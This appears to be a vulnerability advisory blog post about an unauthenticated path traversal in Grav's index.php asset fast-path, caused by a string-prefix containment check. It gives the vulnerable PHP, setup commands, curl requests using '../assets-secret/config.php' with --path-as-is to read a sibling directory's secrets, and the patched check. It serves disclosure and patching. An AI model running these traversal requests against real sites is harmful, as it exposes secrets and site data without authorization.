Listen to this Post
index.php implements a fast-path static asset server before Grav boots.
It is gated by user/config/plugin-asset-map.php.
If that file exists, index.php requires it.
The returned array maps route prefixes to disk paths.
For each mapping, it checks if the request path starts with the route prefix.
If yes, it computes a relative path.
It joins DIR, the mapped disk path, and the relative path.
It resolves the result with realpath().
It resolves the mapped base with realpath().
It checks str_starts_with($realFile, $realBase).
It also checks is_file($realFile).
If checks pass, it readfiles the file and exits.
realpath() resolves .. sequences.
A traversal like ../../etc/passwd leaves the base.
That path does not share the realBase string prefix.
So full filesystem escape is blocked.
But the containment check is only string prefix.
It lacks directory-boundary awareness.
It does not require $realBase . DIRECTORY_SEPARATOR.
A sibling directory named assets-secret starts with assets.
assets.bak, assets_old, assets2 also start with assets.
Such sibling directories pass the check.
The traversal /myplugin-assets/../assets-secret/config.php resolves.
realFile becomes …/assets-secret/config.php.
realBase remains …/assets.
str_starts_with returns true.
The server serves the sibling secret file.
No Grav account is required.
It runs before Grav initializes.
It matches Grav SECURITY.md CRITICAL bar when plugin-asset-map.php is active.
DailyCVE Form:
Platform: getgrav/grav
Version: 2.0.15 devel branch
Vulnerability : Unauthenticated Path Traversal
Severity: Critical
date: Not provided
Prediction: Patch date unknown
(end of form)
What Undercode Say:
mkdir -p user/plugins/myplugin/assets user/plugins/myplugin/assets-secret user/config cat > user/config/plugin-asset-map.php <<'PHP' <?php return ['/myplugin-assets' => 'user/plugins/myplugin/assets']; PHP
$assetMapFile = <strong>DIR</strong> . '/user/config/plugin-asset-map.php';
if (is_file($assetMapFile)) {
$assetMap = require $assetMapFile;
foreach ($assetMap as $routePrefix => $diskPath) {
if (str_starts_with($path, $routePrefix)) {
$relPath = substr($path, strlen($routePrefix));
$filePath = <strong>DIR</strong> . '/' . ltrim($diskPath, '/') . $relPath;
$realFile = realpath($filePath);
$realBase = realpath(<strong>DIR</strong> . '/' . ltrim($diskPath, '/'));
if ($realFile && $realBase && str_starts_with($realFile, $realBase) && is_file($realFile)) {
readfile($realFile);
exit;
}
}
}
}
curl http://target/myplugin-assets/app.js curl http://target/myplugin-assets/../assets-secret/config.php
Exploit: (Educational Purposes!)
printf 'SECRET_API_KEY=sk_live_totally_secret_12345\n' > user/plugins/myplugin/assets-secret/config.php curl --path-as-is http://target/myplugin-assets/../assets-secret/config.php
Protection: from this CVE
if ($realFile && $realBase && (
$realFile === $realBase ||
str_starts_with($realFile, $realBase . DIRECTORY_SEPARATOR)
) && is_file($realFile)) {
readfile($realFile);
exit;
}
Impact:
Unauthenticated file disclosure.
Secret exfiltration.
Site data exposure.
Admin-equivalent control possible.
Critical when opt-in active.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

